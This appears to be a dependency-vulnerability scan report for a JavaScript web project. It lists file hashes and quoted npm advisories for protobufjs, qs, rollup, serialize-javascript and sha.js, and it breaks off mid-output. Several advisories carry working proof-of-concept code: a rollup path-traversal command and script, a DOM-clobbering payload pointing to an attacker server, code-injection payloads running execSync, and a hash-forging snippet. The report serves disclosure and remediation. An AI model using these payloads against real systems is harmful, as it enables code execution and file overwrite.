descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or reject option names containing unsafe property path components before loading them, and run schema processing in an isolated process.CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable Software & Versions (NPM):
## Summary protobufjs generated JavaScript for `toObject` conversion could include an unsafe expression derived from a schema-controlled `bytes` field default value. A crafted descriptor with a non-string default value for a `bytes` field could cause attacker-controlled code to be emitted into the generated conversion function. ## Impact An attacker who can provide or influence a protobuf descriptor may be able to execute arbitrary JavaScript in the context of the process using protobufjs. This requires the application to load an attacker-controlled schema or descriptor and then convert a message of the affected type with defaults enabled. Applications that only use trusted, application-defined schemas are not directly affected by this issue. ## Preconditions - The application must allow an attacker to control or influence a protobuf JSON descriptor or equivalent reflected schema. - The descriptor must define a `bytes` field with an attacker-controlled default value. - The application must call `toObject` with defaults enabled for the affected type. ## Workarounds Do not load protobuf schemas or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict field options before loading them and run schema processing in an isolated environment.CWE-94 Improper Control of Generation of Code ('Code Injection')
Vulnerable Software & Versions (NPM):
## Summary protobufjs generated JavaScript property accessors from schema-controlled field and oneof names. Certain control characters in field names were not escaped before being embedded into generated function bodies. A crafted schema or JSON descriptor could therefore cause generated encode, decode, verify, or conversion functions to fail during compilation. ## Impact An attacker who can provide or influence a protobuf schema or JSON descriptor may be able to make affected message types unusable by causing protobufjs runtime code generation to throw a syntax error. This is a denial of service issue for applications that load untrusted schemas or descriptors. Applications that only use trusted, application-defined schemas are not directly affected by this issue. The issue is not known to allow code execution by itself. ## Preconditions - The application must allow an attacker to control or influence a protobuf schema or JSON descriptor. - The crafted input must define a field name containing control characters that reach generated JavaScript property access. - The application must perform an operation that triggers protobufjs code generation for the affected type, such as encode, decode, verify, `fromObject`, or `toObject`. ## Workarounds Do not load protobuf schemas or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate field names before loading them and reject names containing control characters.CWE-20 Improper Input Validation
Vulnerable Software & Versions (NPM):
## Summary protobufjs generated message constructors copied enumerable properties from a provided properties object without filtering the `__proto__` key. If an application constructed a message from an attacker-controlled plain object, an own enumerable `__proto__` property could alter the prototype of that individual message instance. ## Impact An attacker who can control the properties object passed to a generated protobufjs message constructor or creation helper may be able to modify the prototype chain of the resulting message instance. This is a per-instance prototype injection issue. It does not pollute `Object.prototype` or other global prototypes. The impact depends on downstream application behavior, such as relying on inherited properties, prototype methods, or `instanceof` checks for message objects. Applications that only decode binary protobuf data, or that construct messages from trusted application-defined objects, are not directly affected by this issue. ## Preconditions - The application must allow an attacker to control or influence a plain object used to construct a protobufjs message. - The object must contain an own enumerable `__proto__` property, for example from parsed JSON input. - The application must pass that object to a generated message constructor or creation helper that copies arbitrary enumerable properties. ## Workarounds Do not pass attacker-controlled plain objects directly to generated message constructors with affected versions. If untrusted JSON input must be accepted, validate or sanitize object keys before constructing messages, and reject `__proto__` properties.CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable Software & Versions (NPM):
## Summary protobufjs could recurse without a depth limit while expanding nested JSON descriptors through `Root.fromJSON()` and `Namespace.addJSON()`. A crafted JSON descriptor with deeply nested namespace definitions could cause the JavaScript call stack to be exhausted during descriptor loading. ## Impact An attacker who can provide JSON descriptors loaded by an application may be able to crash the process or otherwise cause schema loading to fail with a stack overflow. This affects applications that load JSON descriptors from untrusted sources with affected versions. ## Preconditions - The application must load JSON descriptor data influenced by an attacker. - The crafted descriptor must contain deeply nested `nested` namespace objects. - The affected `Root.fromJSON()` / `Namespace.addJSON()` descriptor expansion path must process the crafted input. ## Workarounds Avoid loading untrusted protobuf JSON descriptors with affected versions. If immediate upgrade is not possible, reject excessively nested descriptor structures at an outer validation boundary where feasible, or isolate descriptor loading in a process that can be safely restarted.CWE-674 Uncontrolled Recursion
Vulnerable Software & Versions (NPM):
## Summary protobufjs includes a minimal UTF-8 decoder used in non-Node and fallback decoding paths. The affected decoder accepted overlong UTF-8 byte sequences and decoded them to their canonical characters instead of replacing them. The issue concerns overlong encodings and code points outside the Unicode range. protobufjs may still accept some non-strict UTF-8 input for compatibility, so applications should not rely on protobufjs as a general-purpose strict UTF-8 validator. ## Impact An attacker who can provide protobuf binary data decoded through the affected UTF-8 path may be able to bypass application-level checks that inspect raw bytes before protobuf string decoding. For example, bytes that do not contain certain ASCII characters could decode to strings containing those characters. The practical impact depends on downstream application validation and how decoded strings are used. Node.js Buffer-backed decoding paths are not directly affected when they use Node's native UTF-8 decoding. ## Preconditions - The application must decode protobuf binary data influenced by an attacker. - The affected protobuf string field must be decoded through protobufjs's minimal UTF-8 decoder rather than a native UTF-8 decoder. - The application must rely on byte-level filtering or validation before protobuf string decoding. - The decoded string must then be used in a security-sensitive context. ## Workarounds Avoid relying only on byte-level filtering before protobuf string decoding with affected versions. Validate decoded strings at the point where they are used, and prefer runtime paths that use native UTF-8 decoding where necessary.CWE-176 Improper Handling of Unicode Encoding
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?qs
Referenced In Project/Scope: package-lock.json: transitive
### Summary
`qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`).
### Details
In the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining:
```js
obj = utils.maybeMap(obj, encoder);
```
`utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run.
Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1.
#### PoC
```js
const qs = require('qs');
qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });
qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });
qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true });
// TypeError: Cannot read properties of null (reading 'length')
// at encode (lib/utils.js:195:13)
// at Object.maybeMap (lib/utils.js:322:37)
// at stringify (lib/stringify.js:145:25)
```
#### Fix
`lib/stringify.js:145`, applied in 21f80b3 on `main`:
```diff
- obj = utils.maybeMap(obj, encoder);
+ obj = utils.maybeMap(obj, function (v) {
+ return v == null ? v : encoder(v);
+ });
```
`null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop.
### Affected versions
`>=6.11.1 <=6.15.1`
The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions.
### Impact
Application code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.
The vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).
CWE-476 NULL Pointer DereferenceVulnerable Software & Versions (NPM):
### Summary
The `arrayLimit` option in qs did not enforce limits for bracket notation (`a[]=1&a[]=2`), only for indexed notation (`a[0]=1`). This is a consistency bug; `arrayLimit` should apply uniformly across all array notations.
**Note:** The default `parameterLimit` of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than `parameterLimit` regardless of `arrayLimit`, because each `a[]=value` consumes one parameter slot. The severity has been reduced accordingly.
### Details
The `arrayLimit` option only checked limits for indexed notation (`a[0]=1&a[1]=2`) but did not enforce it for bracket notation (`a[]=1&a[]=2`).
**Vulnerable code** (`lib/parse.js:159-162`):
```javascript
if (root === '[]' && options.parseArrays) {
obj = utils.combine([], leaf); // No arrayLimit check
}
```
**Working code** (`lib/parse.js:175`):
```javascript
else if (index <= options.arrayLimit) { // Limit checked here
obj = [];
obj[index] = leaf;
}
```
The bracket notation handler at line 159 uses `utils.combine([], leaf)` without validating against `options.arrayLimit`, while indexed notation at line 175 checks `index <= options.arrayLimit` before creating arrays.
### PoC
```javascript
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length); // Output: 6 (should be max 5)
```
**Note on parameterLimit interaction:** The original advisory's "DoS demonstration" claimed a length of 10,000, but `parameterLimit` (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000.
### Impact
Consistency bug in `arrayLimit` enforcement. With default `parameterLimit`, the practical DoS risk is negligible since `parameterLimit` already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when `parameterLimit` is explicitly set to a very high value.
CWE-20 Improper Input ValidationVulnerable Software & Versions (NPM):
### Summary
The `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).
### Details
When the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `['a', 'b', 'c']`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.
**Vulnerable code** (lib/parse.js: lines ~40-50):
```js
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
return val.split(',');
}
if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}
return val;
```
The `split(',')` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).
### PoC
**Test 1 - Basic bypass:**
```
npm install qs
```
```js
const qs = require('qs');
const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)
const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };
try {
const result = qs.parse(payload, options);
console.log(result.a.length); // Outputs: 26 (bypass successful)
} catch (e) {
console.log('Limit enforced:', e.message); // Not thrown
}
```
**Configuration:**
- `comma: true`
- `arrayLimit: 5`
- `throwOnLimitExceeded: true`
Expected: Throws "Array limit exceeded" error.
Actual: Parses successfully, creating an array of length 26.
### Impact
Denial of Service (DoS) via memory exhaustion.
### Suggested Fix
Move the `arrayLimit` check before the comma split in `parseArrayValue`, and enforce it on the resulting array length. Use `currentArrayLength` (already calculated upstream) for consistency with bracket notation fixes.
**Current code** (lib/parse.js: lines ~40-50):
```js
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
return val.split(',');
}
if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}
return val;
```
**Fixed code:**
```js
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
const splitArray = val.split(',');
if (splitArray.length > options.arrayLimit - currentArrayLength) { // Check against remaining limit
if (options.throwOnLimitExceeded) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
} else {
// Optionally convert to object or truncate, per README
return splitArray.slice(0, options.arrayLimit - currentArrayLength);
}
}
return splitArray;
}
if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}
return val;
```
This aligns behavior with indexed and bracket notations, reuses `currentArrayLength`, and respects `throwOnLimitExceeded`. Update README to note the consistent enforcement.
CWE-20 Improper Input ValidationVulnerable Software & Versions (NPM):
File Path: /github/workspace/src/redux/reducer/questionLibraryReducer.js
MD5: 4f7b69f4c5d67fa024235f31cac9a5ec
SHA1: fcea754532ba06abf1832f6cb9ffb6caacc09cc6
SHA256:d8af37d237789176874f99de696c31d975b261ffdb556e6cce6c9aeabafd8d18
File Path: /github/workspace/src/redux/services/questionLibraryService.js
MD5: 13ec8821bf0516a1bbf794553246d9fe
SHA1: 9ded5dc9c13e042a96527d620338ef01fd5975ea
SHA256:4df49e861c0458b511db27210b8f58eaab2c4260a3adbf8f7e526907959c58f8
File Path: /github/workspace/package-lock.json?react-router
Referenced In Project/Scope: package-lock.json: transitive
An attacker-supplied path can be crafted so that when a React Router application navigates to it via `navigate()`, `<Link>`, or `redirect()`, the app performs a navigation/redirect to an external URL. This is only an issue if developers pass untrusted content into navigation paths in their application code.CWE-601 URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/redux/reducer/requestManagementReducer.js
MD5: 13beddf6e0daf39a0c94e38f00a520c7
SHA1: 97ce0deb7f1f193601bd07776c70dbcdf3f7eb26
SHA256:624f210e50f94015178ef25db27c9e5ddb15ca7dfe210fb5208e4071ec9c8828
File Path: /github/workspace/src/redux/services/requestManagementService.js
MD5: cb94604432e39616c236af822717fe72
SHA1: 5225fbe2cd664fc3ad4a3d560d1d43d34646c9f0
SHA256:8653ce974dc495dfc9570d83dcb6e2baad2404c120b10713f2c2829afcd7f92a
File Path: /github/workspace/src/components/common/rich-text-editor/richTextEditorConfig.js
MD5: 2c5582cc745cf8873d7a88dfd2492001
SHA1: 9d5bc44c4fe6a605108081d09fbb58c548451cd4
SHA256:3112a404e75a0384eb051f41e0a4399d5f90790d90b5ff92185a7015e7ca0cdc
File Path: /github/workspace/public/dwv/decoders/dwv/rle.js
MD5: 232a045d4af5d7e019f15ad5e17a39d2
SHA1: 5dcd5243df7b27a587da0e31eb3ab5782c70fadf
SHA256:b0f0e0f8db149aac9fbfb7e42a3a9c432b209daa383ea81af1ed15d283bacd15
File Path: /github/workspace/src/constants/roles.js
MD5: 2e5afaf569ec0985b26d45cacc2e6003
SHA1: 102131b1cd9df21bb8812a2fb0fc21d367270a4b
SHA256:24cd78fa1f03b746e5c38dce65229a34c300c0a6aa312d49fe263e8bb9f57538
File Path: /github/workspace/src/redux/reducer/rolesAndPermissionReducer.js
MD5: 8c76a58e62a25d398f9ca721464cfd2c
SHA1: 88a6eab423464086e47c9457ec298a1f80f3476a
SHA256:fa6a28393ec42a4bb196e03cb695b124e44766175cc8ea30f09e6218075396d7
File Path: /github/workspace/src/redux/services/rolesAndPermissionService.js
MD5: 9cb0b201abc347fb887b3ee2bb2509b3
SHA1: 93d88ebe4520a1218347a22b101fae46354ac0de
SHA256:d304f7ac586bdac6c8561e2e908194aa6ddcdf44d6963f71b18b1824db32ec51
File Path: /github/workspace/package-lock.json?rollup
Referenced In Project/Scope: package-lock.json: transitive
### Summary
The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.
### Details
The vulnerability is caused by the combination of two flawed components in the Rollup core:
1. **Improper Sanitization**: In `src/utils/sanitizeFileName.ts`, the `INVALID_CHAR_REGEX` used to clean user-provided names for chunks and assets excludes the period (`.`) and forward/backward slashes (`/`, `\`).
```typescript
// src/utils/sanitizeFileName.ts (Line 3)
const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;
```
This allows path traversal sequences like `../../` to pass through the sanitizer unmodified.
2. **Unsafe Path Resolution**: In `src/rollup/rollup.ts`, the `writeOutputFile` function uses `path.resolve` to combine the output directory with the "sanitized" filename.
```typescript
// src/rollup/rollup.ts (Line 317)
const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);
```
Because `path.resolve` follows the `../` sequences in `outputFile.fileName`, the resulting path points outside of the intended output directory. The subsequent call to `fs.writeFile` completes the arbitrary write.
### PoC
A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.
**Scenario: CLI Named Input Exploit**
1. Target a sensitive file location (for demonstration, we will use a file in the project root called `pwned.js`).
2. Execute Rollup with a specifically crafted named input where the key contains traversal characters:
```bash
rollup --input "a/../../pwned.js=main.js" --dir dist
```
3. **Result**: Rollup will resolve the output path for the entry chunk as `dist + a/../../pwned.js`, which resolves to the project root. The file `pwned.js` is created/overwritten outside the `dist` folder.
**Reproduction Files provided :**
* `vuln_app.js`: Isolated logic exactly replicating the sanitization and resolution bug.
* `exploit.py`: Automated script to run the PoC and verify the file escape.
vuln_app.js
```js
const path = require('path');
const fs = require('fs');
/**
* REPLICATED ROLLUP VULNERABILITY
*
* 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
* 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
*/
function sanitize(name) {
// The vulnerability: Rollup's regex fails to strip dots and slashes,
// allowing path traversal sequences like '../'
return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}
async function build(userSuppliedName) {
const outputDir = path.join(__dirname, 'dist');
const fileName = sanitize(userSuppliedName);
// Vulnerability: path.resolve() follows traversal sequences in the filename
const outputPath = path.resolve(outputDir, fileName);
console.log(`[*] Target write path: ${outputPath}`);
if (!fs.existsSync(path.dirname(outputPath))) {
fs.mkdirSync(path.dirname(outputPath), { recursive: true });
}
fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
console.log(`[+] File written successfully.`);
}
build(process.argv[2] || 'bundle.js');
```
exploit.py
```py
import subprocess
from pathlib import Path
def run_poc():
# Target a file outside the 'dist' folder
poc_dir = Path(__file__).parent
malicious_filename = "../pwned_by_rollup.js"
target_path = poc_dir / "pwned_by_rollup.js"
print(f"=== Rollup Path Traversal PoC ===")
print(f"[*] Malicious Filename: {malicious_filename}")
# Trigger the vulnerable app
subprocess.run(["node", "poc/vuln_app.js", malicious_filename])
if target_path.exists():
print(f"[SUCCESS] File escaped 'dist' folder!")
print(f"[SUCCESS] Created: {target_path}")
# target_path.unlink() # Cleanup
else:
print("[FAILED] Exploit did not work.")
if __name__ == "__main__":
run_poc()
```
## POC
```rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist```
<img width="1918" height="1111" alt="image" src="https://github.com/user-attachments/assets/3474eb7c-9c4b-4acd-9103-c70596b490d4" />
### Impact
This is a **High** level of severity vulnerability.
* **Arbitrary File Write**: Attackers can overwrite sensitive files like `~/.ssh/authorized_keys`, `.bashrc`, or system binaries if the build process has sufficient privileges.
* **Supply Chain Risk**: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
* **User Impact**: Developers running builds on untrusted repositories are at risk of system compromise.
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')Vulnerable Software & Versions (NPM):
### Summary
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use `import.meta.url` or with plugins that emit and reference asset files from code in `cjs`/`umd`/`iife` format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present.
It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack ([CVE-2024-43788](https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986)), which might serve as a good reference.
### Details
#### Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
#### Gadget found in `rollup`
We have identified a DOM Clobbering vulnerability in `rollup` bundled scripts, particularly when the scripts uses `import.meta` and set output in format of `cjs`/`umd`/`iife`. In such cases, `rollup` replaces meta property with the URL retrieved from `document.currentScript`.
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185
However, this implementation is vulnerable to a DOM Clobbering attack. The `document.currentScript` lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the `src` attribute of the attacker-controlled element (e.g., an `img` tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
### PoC
Considering a website that contains the following `main.js` script, the devloper decides to use the `rollup` to bundle up the program: `rollup main.js --format cjs --file bundle.js`.
```
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
```
The output `bundle.js` is shown in the following code snippet.
```
'use strict';
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
```
Adding the `rollup` bundled script, `bundle.js`, as part of the web page source code, the page could load the `extra.js` file from the attacker's domain, `attacker.controlled.server` due to the introduced gadget during bundling. The attacker only needs to insert an `img` tag with the name attribute set to `currentScript`. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
```
<!DOCTYPE html>
<html>
<head>
<title>rollup Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
```
### Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of `cjs`, `iife`, or `umd` and use `import.meta`) and allow users to inject certain scriptless HTML tags without properly sanitizing the `name` or `id` attributes.
### Patch
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
```
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
);
```
```
const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;
```
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/app/routes/routes.js
MD5: 72f105c845fa6df232a545ad113b6258
SHA1: 53e4ae86553e94784a453984e9a8a0cc2ebdae22
SHA256:90e9fac12a5741302726513f63c0ab9f056cf5bd847801a8ace80f1505b677e0
File Path: /github/workspace/package-lock.json?serialize-javascript
Referenced In Project/Scope: package-lock.json: transitive
### Impact
The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.
While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.
If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.
```javascript
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
```
```javascript
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution
```
```javascript
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
```
### Patches
The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
CWE-96 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?serialize-javascript
Referenced In Project/Scope: package-lock.json: transitive
### Impact **What kind of vulnerability is it?** It is a **Denial of Service (DoS)** vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from `Array.prototype` but has a very large `length` property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely. **Who is impacted?** Applications that use `serialize-javascript` to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to **Prototype Pollution** or handles untrusted data via **YAML Deserialization**, as these could be used to inject the malicious object. ### Patches **Has the problem been patched?** Yes, the issue has been patched by replacing `instanceof Array` checks with `Array.isArray()` and using `Object.keys()` for sparse array detection. **What versions should users upgrade to?** Users should upgrade to **`v7.0.5`** or later. ### Workarounds **Is there a way for users to fix or remediate the vulnerability without upgrading?** There is no direct code-level workaround within the library itself. However, users can mitigate the risk by: * Validating and sanitizing all input before passing it to the `serialize()` function. * Ensuring the environment is protected against Prototype Pollution. * Upgrading to **`v7.0.5`** as soon as possible. ### Acknowledgements Serialize JavaScript thanks **Tomer Aberbach** (@TomerAberbach) for discovering and privately disclosing this issue.CWE-400 Uncontrolled Resource Consumption, CWE-834 Excessive Iteration
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/setupProxy.js
MD5: 9e838754e83c44dd70aef6c2efedbb4b
SHA1: bd91c21dfce141552ece7b3ce7f3064a20125145
SHA256:3412542f18124243316963890b4d8e8aa6a323b312c23fd0a8ae36f52c3b3285
File Path: /github/workspace/src/setupTests.js
MD5: 5c22fadb3e795863bbcd9f038e0489b2
SHA1: e048bce3c96304b3342ab8074c87e99d2bd862f3
SHA256:2486aeb11911cbe2cbe9a87182dc911cee1445d09560038bbbb9dc02ec02c363
File Path: /github/workspace/package-lock.json?sha.js
Referenced In Project/Scope: package-lock.json: transitive
### Summary
This is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.
Missing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
### Details
See PoC
### PoC
```js
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
```
Output:
```
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
